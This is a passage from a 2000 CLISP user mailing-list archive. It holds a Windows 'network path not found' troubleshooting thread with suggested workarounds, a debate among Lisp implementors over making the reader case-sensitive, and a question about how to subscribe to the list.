smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id RAA24414; Mon, 6 Nov 2000 17:52:00 -0500 (EST) To: Francisco =?iso-8859-1?q?Jes=FAs_Mart=EDn?= Mateos Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: A problem with Windows References: <200011061850.eA6IoEu20559@lists.sourceforge.net> <3A07002B.CE33FFD2@cica.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Francisco =?iso-8859-1?q?Jes=FAs_Mart=EDn?= Mateos's message of "Mon, 06 Nov 2000 20:02:03 +0100" Date: 06 Nov 2000 17:46:28 -0500 Message-ID: Lines: 20 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id eA6Mq9u06698 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <3A07002B.CE33FFD2@cica.es> > * On the subject of "[clisp-list] Re: A problem with Windows" > * Sent on Mon, 06 Nov 2000 20:02:03 +0100 > * Honorable Francisco Jesús Martín Mateos writes: > > When I use "clisp" in "emacs" in my Windows 98, I have the following > error message > "(ERROR_BAD_NETPATH) The network path was not found" > > Anyone can tell me how to avoid that? could you please be more specific? what are you doing in Emacs? (like, which variable do you set, what do you type, what is the exact contents of the *Backtrace* buffer when you set debug-on-error to t) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Stupidity, like virtue, is its own reward. From rjs@fdy2.demon.co.uk Mon Nov 6 18:45:39 2000 Received: from fdy2.demon.co.uk (fdy2.demon.co.uk [194.222.102.143]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA72jXu21978 for ; Mon, 6 Nov 2000 18:45:33 -0800 Received: (from rjs@localhost) by fdy2.demon.co.uk (8.9.3/8.9.3) id CAA01138; Tue, 7 Nov 2000 02:41:45 GMT (envelope-from rjs) Date: Tue, 7 Nov 2000 02:41:45 GMT Message-Id: <200011070241.CAA01138@fdy2.demon.co.uk> From: Robert Swindells To: marcoxa@cs.nyu.edu CC: cmucl-imp@cons.org, clisp-list@lists.sourceforge.net In-reply-to: <200011062210.RAA23336@octagon.mrl.nyu.edu> (message from Marco Antoniotti on Mon, 6 Nov 2000 17:10:20 -0500) Subject: [clisp-list] Re: Case sensitive reader. A call for action. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion >1 - a straw poll about whether a "case sensitive" reader would be a > good thing. I learnt lisp using FranzLisp, so I tend to prefer the idea to case insensitivity. I always used normal lower-case-with-hyphens symbol names though, I just prefer seeing the same symbols that I have typed in. I can see Kent Pitman's argument that you can hide FFI calls in code like: (defun make-string-i/o-port (...) (jcall "MakeStringIOPort" ...)) but you still have to remember two sets of symbols or invent a strict conversion algoritm. I have written quite a lot of Motif code in C, but I haven't used CLM much since I can't remember how to map from the Motif function names to the CLM equivalents. >2 - what would be the "cost to implementors" (of - at least CMUCL and > CLisp) -- e.g. what would it take to change all internal symbols > to lower case. I once did this for AKCL - converted all the built in symbols to lower case and added the extra CLTL2 readtable functionality. It wasn't all that much work to do the change, I probably spent more time getting various packages to work. The kinds of things that break in user code are the ones raised in c.l.l - packages and code that does (format nil "FOO-~A" bar) to create symbols. I think I stopped using it because of problems with Garnet. >3 - whether the change could be accommodated without changing too much > the ANSI standard. I.e. how the change can be accommodated in > such a way to allow strict ANSI programs to be accepted. >4 - if the ANSI standard needed to be changed, then how should a > consensus be reached, so that it somehow binds the implementors to > the set of agreed upon choices. Robert Swindells From toy@rtp.ericsson.se Tue Nov 7 06:10:53 2000 Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA7EAru24101 for ; Tue, 7 Nov 2000 06:10:53 -0800 Received: from mr4u3.ericy.com (mr4u3.ericy.com [208.237.135.127]) by imr1.ericy.com (8.9.3/8.9.3) with ESMTP id IAA19842; Tue, 7 Nov 2000 08:10:46 -0600 (CST) Received: from netmanager7.rtp.ericsson.se (netmanager7.rtp.ericsson.se [147.117.133.252]) by mr4u3.ericy.com (8.9.3/8.9.3) with ESMTP id IAA05517; Tue, 7 Nov 2000 08:10:43 -0600 (CST) Received: from edgedsp4.ericsson.COM (edgedsp4.rtp.ericsson.se [147.117.82.5]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA03228; Tue, 7 Nov 2000 09:10:42 -0500 (EST) Received: (from toy@localhost) by edgedsp4.ericsson.COM (8.9.1b+Sun/8.9.1) id JAA21688; Tue, 7 Nov 2000 09:10:40 -0500 (EST) X-Authentication-Warning: edgedsp4.ericsson.COM: toy set sender to toy@rtp.ericsson.se using -f To: Robert Swindells Cc: marcoxa@cs.nyu.edu, cmucl-imp@cons.org, clisp-list@lists.sourceforge.net References: <200011070241.CAA01138@fdy2.demon.co.uk> From: Raymond Toy Date: 07 Nov 2000 09:10:40 -0500 In-Reply-To: Robert Swindells's message of "Tue, 7 Nov 2000 02:41:45 GMT" Message-ID: <4npuk77tzz.fsf@rtp.ericsson.se> Lines: 28 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Notus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Case sensitive reader. A call for action. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion >>>>> "Robert" == Robert Swindells writes: Robert> I always used normal lower-case-with-hyphens symbol names though, I Robert> just prefer seeing the same symbols that I have typed in. Same, but I don't care what case the symbols are print in, because I know Lisp is uppercase. Robert> I can see Kent Pitman's argument that you can hide FFI calls in code Robert> like: Robert> (defun make-string-i/o-port (...) (jcall "MakeStringIOPort" ...)) Robert> but you still have to remember two sets of symbols or invent a strict Robert> conversion algoritm. What are you going to do about C++ name mangling? What about Fortran? I've used different Fortran compilers whose resulting linker names had a prepended underscore, an appended underscore, or was in uppercase. Using case here only solves part of the problem. Of course, you can always use |MakeStringIOPort| as your Lisp function if you like. Then you only have to remember to put || around your Lisp functions. I think FFI is a totally separate issue from case. Ray From haible@ilog.fr Tue Nov 7 06:32:39 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA7EWcu25339 for ; Tue, 7 Nov 2000 06:32:38 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA10451; Tue, 7 Nov 2000 15:27:36 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.141]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA04110; Tue, 7 Nov 2000 15:31:43 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA16638; Tue, 7 Nov 2000 14:57:41 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14856.2636.759225.845288@honolulu.ilog.fr> Date: Tue, 7 Nov 2000 14:57:32 +0100 (CET) To: Marco Antoniotti Cc: cmucl-imp@cons.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Case sensitive reader. A call for action. In-Reply-To: <200011062210.RAA23336@octagon.mrl.nyu.edu> References: <200011062210.RAA23336@octagon.mrl.nyu.edu> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Marco Antoniotti writes: > I do not know how many people here have been following the current > debate on C.L.L. regarding the issue of the case sensitive reader. > > I believe this is not going away and that it is something we need to > deal with. Yes. Thanks for your initiative. > Franz has posed a problem IMO, Franz has given an answer to a problem that has been haunting us for years. > 1 - a straw poll about whether a "case sensitive" reader would be a > good thing. YES. The debate whether case sensitiveness in languages is over. The model presented by all other mainstream languages (except Pascal) has proven to be good. Three things are involved: - How to turn it on for selective packages? (There are packages out there, like the Kenzo package, which are partially written in upper case and therefore rely on the traditional ANSI CL behaviour.) CLISP has been implementing the following for three years: MAKE-PACKAGE and IN-PACKAGE accept a keyword argument :CASE-SENSITIVE. Similarly, DEFPACKAGE accepts an option :CASE-SENSITIVE. When its value is non-NIL, the package will be case sensitive, i.e. the reader will not case-convert symbol names before looking them up or creating them in this package. The package names are still subject to (READTABLE-CASE *READTABLE*), though. - How to turn it on for the standardized packages (CL, CL-USER etc.) - How to turn it on for the package names? Which *features* should be standardized to indicate one or the other? > 2 - what would be the "cost to implementors" (of - at least CMUCL and > CLisp) -- e.g. what would it take to change all internal symbols > to lower case. It depends on whether two distinct images are acceptable, or whether the switching should be doable at runtime. > 4 - if the ANSI standard needed to be changed, then how should a > consensus be reached, so that it somehow binds the implementors to > the set of agreed upon choices. Ask Rainer Joswig if there is currently a group working on standardization. If not, it is (IMO) best done by communication among implementor groups. Bruno From kdo@cosmos5.phy.tufts.edu Tue Nov 7 09:26:19 2000 Received: from cosmos5.phy.tufts.edu (cosmos5.phy.tufts.edu [130.64.13.21]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA7HQIu03986 for ; Tue, 7 Nov 2000 09:26:18 -0800 Received: (from kdo@localhost) by cosmos5.phy.tufts.edu (8.9.1/8.9.1) id MAA13271; Tue, 7 Nov 2000 12:26:09 -0500 (EST) Date: Tue, 7 Nov 2000 12:26:09 -0500 (EST) Message-Id: <200011071726.MAA13271@cosmos5.phy.tufts.edu> From: Ken Olum To: haible@ilog.fr CC: marcoxa@cs.nyu.edu, cmucl-imp@cons.org, clisp-list@lists.sourceforge.net In-reply-to: <14856.2636.759225.845288@honolulu.ilog.fr> (message from Bruno Haible on Tue, 7 Nov 2000 14:57:32 +0100 (CET)) Subject: Re: [clisp-list] Case sensitive reader. A call for action. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion From: Bruno Haible Cc: cmucl-imp@cons.org, clisp-list@lists.sourceforge.net > 1 - a straw poll about whether a "case sensitive" reader would be a > good thing. YES. The debate whether case sensitiveness in languages is over. No, it isn't. If you say "yes, it is" that will demonstrate that in fact there is still debate. I think Lisp should be left alone. Lisp does a lot of things right that other languages do wrong. Among other things, I use Lisp via dictation, and getting case right in dictation is a real pain. Ken From jacsib@lutecium.org Tue Nov 7 10:05:16 2000 Received: from lutecium.org (IDENT:root@ATuileries-101-1-1-8.abo.wanadoo.fr [193.251.49.8]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA7I5Du06852 for ; Tue, 7 Nov 2000 10:05:15 -0800 Received: from lutecium.org (IDENT:jacsib@lutecium.org [193.251.49.8]) by lutecium.org (8.9.3/8.9.3) with ESMTP id SAA03780 for ; Tue, 7 Nov 2000 18:05:10 GMT Message-ID: <3A084453.44170FB0@lutecium.org> Date: Tue, 07 Nov 2000 18:05:07 +0000 From: "Jacques B. Siboni" Organization: Lutecium, Paris, France, http://www.lutecium.org/jacsib X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.12-20 i586) X-Accept-Language: en, zh-CN, zh, zh-TW, ja, ko MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] how do i subscribe? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion How do I subscribe to this list. The clisp-list is hard (for me) to find Thanks Jacques -- Dr. Jacques B. Siboni mailto:jacsib@Lutecium.org 8 pass. Charles Albert, F75018 Paris, France Tel. & Fax: 33 (0) 1 42 28 76 78 Home Page: http://www.lutecium.org/jacsib/ From sds@gnu.org Tue Nov 7 12:18:38 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA7KIcu16198 for ; Tue, 7 Nov 2000 12:18:38 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA15775; Tue, 7 Nov 2000 15:18:23 -0500 (EST) X-Envelope-To: To: "Jacques B. Siboni" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how do i subscribe? References: <3A084453.44170FB0@lutecium.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: "Jacques B. Siboni"'s message of "Tue, 07 Nov 2000 18:05:07 +0000" Date: 07 Nov 2000 15:13:09 -0500 Message-ID: Lines: 13 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <3A084453.44170FB0@lutecium.org> > * On the subject of "[clisp-list] how do i subscribe?" > * Sent on Tue, 07 Nov 2000 18:05:07 +0000 > * Honorable "Jacques B. Siboni" writes: > > How do I subscribe to this list. The clisp-list is hard (for me) to find http://lists.sourceforge.net/mailman/listinfo/clisp-list -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! War doesn't determine who's right, just who's left. From haible@ilog.fr Tue Nov 7 12:24:59 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA7KOpu16549 for ; Tue, 7 Nov 2000 12:24:53 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA21053; Tue, 7 Nov 2000 21:20:00 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.75]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA08158; Tue, 7 Nov 2000 21:24:06 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA17599; Tue, 7 Nov 2000 21:23:35 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14856.25799.103386.771113@honolulu.ilog.fr> Date: Tue, 7 Nov 2000 21:23:35 +0100 (CET) To: "Jacques B. Siboni" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how do i subscribe? In-Reply-To: <3A084453.44170FB0@lutecium.org> References: <3A084453.44170FB0@lutecium.org> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Jacques B. Siboni writes: > How do I subscribe to this list. The clisp-list is hard (for me) to find On the clisp homepage (http://clisp.cons.org/) click on "mailing lists". Bruno From william.newman@airmail.net Tue Nov 7 15:36:01 2000 Received: from mail2.iadfw.net (mail2.iadfw.net [206.66.12.234]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eA7Na0u30608 for ; Tue, 7 Nov 2000 15:36:01 -0800 Received: from mail.airmail.net from [206.66.12.40] by mail2.iadfw.net (/\##/\ Smail3.1.30.16 #30.11) with smtp for sender: id ; Tue, 7 Nov 2000 17:36:01 -0600 (CST) Received: from rootless.localdomain from [207.136.55.170] by mail.airmail.net (/\##/\ Smail3.1.30.16 #30.438) with esmtp for sender: id ; Tue, 7 Nov 2000 17:35:52 -0600 (CST) Received: (from newman@localhost) by rootless.localdomain (8.10.1/8.9.3) id eA7NWJW01852; Tue, 7 Nov 2000 17:32:19 -0600 (CST) Date: Tue, 7 Nov 2000 17:32:18 -0600 From: William Harold Newman To: clisp-list@lists.sourceforge.net, cmucl-imp@cons.org Subject: Re: [clisp-list] Case sensitive reader. A call for action. Message-ID: <20001107173218.E5922@rootless> References: <200011062210.RAA23336@octagon.mrl.nyu.edu> <14856.2636.759225.845288@honolulu.ilog.fr> <87vgtzmudm.fsf@orion.bln.pmsf.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <87vgtzmudm.fsf@orion.bln.pmsf.de>; from pmai@acm.org on Tue, Nov 07, 2000 at 08:53:25PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion On Tue, Nov 07, 2000 at 08:53:25PM +0100, Pierre R. Mai wrote: > While the standard does indeed provide for a case-sensitive reader, > this is pretty useless when the symbol-names of implementation > packages is specified to be UPPER-CASE. The :invert readtable-case > was a half-hearted attempt at mitigating that issue, but it's an ugly > hack, and doesn't really fill the need. Is the problem here that the uppercase names are considered ugly, so that people want not only case-sensitive input, but also lowercase names? I.e., they want case-sensitive input and also want to type (cl:in-package "myFavoritePackage") instead of (CL:IN-PACKAGE "myFavoritePackage") If people expect this, then what I said about the standard supporting case sensitivity is off base -- if not technically off base, then at least politically off base! Perhaps someone should write down all the things which are expected in a transition. (Perhaps someone already has and I just didn't notice?) * All reserved words must be lowercase. * Erik doesn't want the system to shout at him. * Franz wants their customers to have to keep paying no matter what happens. * [..] For that matter, maybe someone could also summarize the nastiest things which will happen if we don't just do something about this, but work on other stuff instead. * Programmers will have trouble writing identifiers in non-English scripts -- Kanji, Arabic, Hangul, I dunno.. I thought this was supposed to be the real problem, but some earlier poster seemed to think it wasn't important. Or perhaps I misunderstood him. * People will have to use quoted java::|SymbolsLikeThis| for FFIs, or else come up with weird name mangling conventions. * People will dislike the syntax of the language (pointing out that Perl is much prettier:-) and stop using the language. * [..] > Personally I like the migration path that Erik Naggum has repeatedly > set out on c.l.l, like e.g. in message <3182561860085563@naggum.net> > of today: Separate the move to case-sensitive lower mode into two > steps, by moving to lower-case symbol-names, and a case-insensitive > reader (via readtable-case and print-case set to :downcase), which > will then enable the standard reader controls to just work when > someone wants to set readtable-case to :preserve, in order to get a > case-sensitive lower CL. Would this break old code? Is it worth it to require people to convert their old (export '("A" "B" "C") "D") code to shiny new (export '("a" "b" "c") "d") code, or to Franz's (export '(#:a #:b #:c) #:d) code? Does anyone know how Fortran and COBOL have dealt with pressures for case sensitivity? Maybe they've thought of something. They have a sufficiently large code base that they should be highly motivated.. -- william Harold Newman software consultant PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From pmai@acm.org Tue Nov 7 16:46:19 2000 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA80kCu02302 for ; Tue, 7 Nov 2000 16:46:17 -0800 Received: from fwd01.sul.t-online.com by mailout01.sul.t-online.com with smtp id 13tJNO-0003RJ-03; Wed, 08 Nov 2000 01:46:06 +0100 Received: from dent.bln.pmsf.de (320001904523-0001@[62.155.170.30]) by fwd01.sul.t-online.com with esmtp id 13tJNN-0YHL0KC; Wed, 8 Nov 2000 01:46:05 +0100 Received: from orion.bln.pmsf.de (dent@orion.bln.pmsf.de [192.168.42.10]) by dent.bln.pmsf.de (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id BAA15296; Wed, 8 Nov 2000 01:46:04 +0100 Received: by orion.bln.pmsf.de (sSMTP sendmail emulation); Wed, 8 Nov 2000 01:46:04 +0100 To: William Harold Newman Cc: clisp-list@lists.sourceforge.net, cmucl-imp@cons.org Subject: Re: [clisp-list] Case sensitive reader. A call for action. References: <200011062210.RAA23336@octagon.mrl.nyu.edu> <14856.2636.759225.845288@honolulu.ilog.fr> <87vgtzmudm.fsf@orion.bln.pmsf.de> <20001107173218.E5922@rootless> Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII From: "Pierre R. Mai" Date: 08 Nov 2000 01:46:04 +0100 In-Reply-To: William Harold Newman's message of "Tue, 7 Nov 2000 17:32:18 -0600" Message-ID: <871ywnmgtv.fsf@orion.bln.pmsf.de> Lines: 108 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Capitol Reef" X-Sender: 320001904523-0001@t-dialin.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion William Harold Newman writes: > Is the problem here that the uppercase names are considered ugly, > so that people want not only case-sensitive input, but also > lowercase names? I.e., they want case-sensitive input and also > want to type > (cl:in-package "myFavoritePackage") > instead of > (CL:IN-PACKAGE "myFavoritePackage") > If people expect this, then what I said about the standard supporting > case sensitivity is off base -- if not technically off base, then at > least politically off base! While the two issues (case-sensitivity and lower-case preference) are technically disjoint, there is a great overlap between those that prefer case-sensitivity and those that want to write names with mostly lower-case characters, i.e. like they write natural language. There are lots of reasons for this, some of them historic (Unix tradition), some of them social trends (there has been a long trend of moving from UNIX-UPPER-CASE through UnixStudlyCaps to alllowercase.com not only in the computer industry but in society at large), some of them based on natural language preferences, etc. Actually I fall into the lower-case preferring, but case-sensitivity abhorring camp, but I'm a strange person anyway ;). And really I care fairly little about the lower-case thing, but very much about the case-sensitivity thing. > Perhaps someone should write down all the things which are expected > in a transition. (Perhaps someone already has and I just didn't > notice?) > * All reserved words must be lowercase. > * Erik doesn't want the system to shout at him. > * Franz wants their customers to have to keep paying no matter > what happens. > * [..] This would be a good idea, _if_ you could find someone that was sufficiently detached from the issues to be able to do this fairly. That's very hard to do, so I won't even try... > For that matter, maybe someone could also summarize the nastiest > things which will happen if we don't just do something about this, but > work on other stuff instead. I think we've ignored the needs of a non-negligible portion of the CL community for too long, already. I think this has indirectly lead to the current situation, and I think we really should now accomodate those needs, or risk a fractioning of the community. That's also why I think this is mostly a social issue, and that the underlying technical issues are really not at the heart of the problem. That doesn't mean we shouldn't care about technical issues as they crop up, though. > Would this break old code? Is it worth it to require people to convert > their old > (export '("A" "B" "C") "D") > code to shiny new > (export '("a" "b" "c") "d") > code, or to Franz's > (export '(#:a #:b #:c) #:d) > code? I think that any change to the current situation that will be able to satisfy the needs of the case-sensitive-lower mode folks will break some code. There is just no way around that: There's legacy code that breaks even in current ANSI Common Lisp if you just change *print-case* to :downcase, as Tim Bradshaw pointed out. Turning on case-sensitivity will also break much code, since there is lots of code out there that will use varying case for the same symbols: There's some code that uses both T and t, or Symbol and symbol and SYMBOL, ... That's why I think that both case-sensitivity and lower-caseness should be separate _options_. This allows one to fix the easy stuff first: Code that makes tacit assumptions about symbol-name case, like the export/defpackage stuff you mention. This can be easily fixed because it can be easily located: stuff like this almost always involves symbol-related functions like intern, symbol-name, etc. Then after that's taken care off, we can switch on case-sensitivity, and fix the hard stuff, which is finding divergent case-spellings, upper-case standard symbols, etc. One are this will almost invariably involve is interestingly enough #+/#- feature testing, since many people (me included) seem to have retained ALL-UPPER-CASE symbols in this context, even if they use all-lower-case symbols otherwise. At least that's my experience after having gone over several packages (both in-house developed and foreign code) doing the conversions above. > Does anyone know how Fortran and COBOL have dealt with pressures for > case sensitivity? Maybe they've thought of something. They have a > sufficiently large code base that they should be highly motivated.. That seems like a good idea. IIRC then Ada should also be a language and community to look into. But we also need to remember that case issues are more complicated in Common Lisp, since it has the ability to treat code as data and vice-versa: Things like macros that create new symbols and read/write invariants. Regs, Pierre. -- Pierre R. Mai http://www.pmsf.de/pmai/ The most likely way for the world to be destroyed, most experts agree, is by accident. That's where we come in; we're computer professionals. We cause accidents. -- Nathaniel Borenstein From fjesus@cica.es Wed Nov 8 10:21:31 2000 Received: from istabba.us.es (istabba.us.es [150.214.148.197]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA8ILSu28336 for ; Wed, 8 Nov 2000 10:21:30 -0800 Received: from cica.es (istabba.us.es [150.214.148.197]) by istabba.us.es (8.9.3/8.9.3) with ESMTP id TAA00677; Wed, 8 Nov 2000 19:23:03 +0100 Message-ID: <3A099A06.DAF9B57@cica.es> Date: Wed, 08 Nov 2000 19:23:02 +0100 From: Francisco =?iso-8859-1?Q?Jes=FAs=20Mart=EDn?= Mateos X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12-20 i586) X-Accept-Language: es-ES,en MIME-Version: 1.0 To: sds@gnu.org CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: A problem with Windows References: <200011061850.eA6IoEu20559@lists.sourceforge.net> <3A07002B.CE33FFD2@cica.es> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id eA8ILSu28336 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Sam Steingold wrote: > > * In message <3A07002B.CE33FFD2@cica.es> > > * On the subject of "[clisp-list] Re: A problem with Windows" > > * Sent on Mon, 06 Nov 2000 20:02:03 +0100 > > * Honorable Francisco Jesús Martín Mateos writes: > > > > When I use "clisp" in "emacs" in my Windows 98, I have the following > > error message > > "(ERROR_BAD_NETPATH) The network path was not found" > > > > Anyone can tell me how to avoid that? > > could you please be more specific? > what are you doing in Emacs? > (like, which variable do you set, what do you type, what is the exact > contents of the *Backtrace* buffer when you set debug-on-error to t) I've used the following in "_emacs" (setq inferior-lisp-program "c:/clisp/lisp.exe -M c:/clisp/lispinit.mem") When I do "M-x run-lisp", I have the following error message [pathname.d:8514] *** - Win32 error 53 (ERROR_BAD_NETPATH): The network path was not found. I've set the "debug-on-error" to t, but the *Backtrace* buffer didn't appear From haible@ilog.fr Wed Nov 8 11:44:14 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA8JiDu01668 for ; Wed, 8 Nov 2000 11:44:13 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA26166; Wed, 8 Nov 2000 20:38:50 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.184]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA24721; Wed, 8 Nov 2000 20:42:57 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id UAA23981; Wed, 8 Nov 2000 20:42:18 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14857.44175.658654.806302@honolulu.ilog.fr> Date: Wed, 8 Nov 2000 20:42:07 +0100 (CET) To: Francisco =?iso-8859-1?Q?Jes=FAs=20Mart=EDn?= Mateos Cc: sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: A problem with Windows In-Reply-To: <3A099A06.DAF9B57@cica.es> References: <200011061850.eA6IoEu20559@lists.sourceforge.net> <3A07002B.CE33FFD2@cica.es> <3A099A06.DAF9B57@cica.es> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Francisco =?iso-8859-1?Q?Jes=FAs=5FMart=EDn?= Mateos writes: > I've used the following in "_emacs" > (setq inferior-lisp-program "c:/clisp/lisp.exe -M c:/clisp/lispinit.mem") > > When I do "M-x run-lisp", I have the following error message > > [pathname.d:8514] > *** - Win32 error 53 (ERROR_BAD_NETPATH): The network path was not found. Thanks for the details. Apparently clisp is searching for the startup file _clisprc in your home directory, but that directory is not accessible; thus the error. There are three workarounds: - Mount (i.e. "map network drive") the HOME directory, - change the HOME or HOMEDRIVE/HOMEPATH environment variables, - (setq inferior-lisp-program "c:/clisp/lisp.exe -norc -M c:/clisp/lispinit.mem") In the next version, this error will not occur any more. Bruno From sds@gnu.org Wed Nov 8 12:10:01 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA8K9xu03581 for ; Wed, 8 Nov 2000 12:10:00 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com 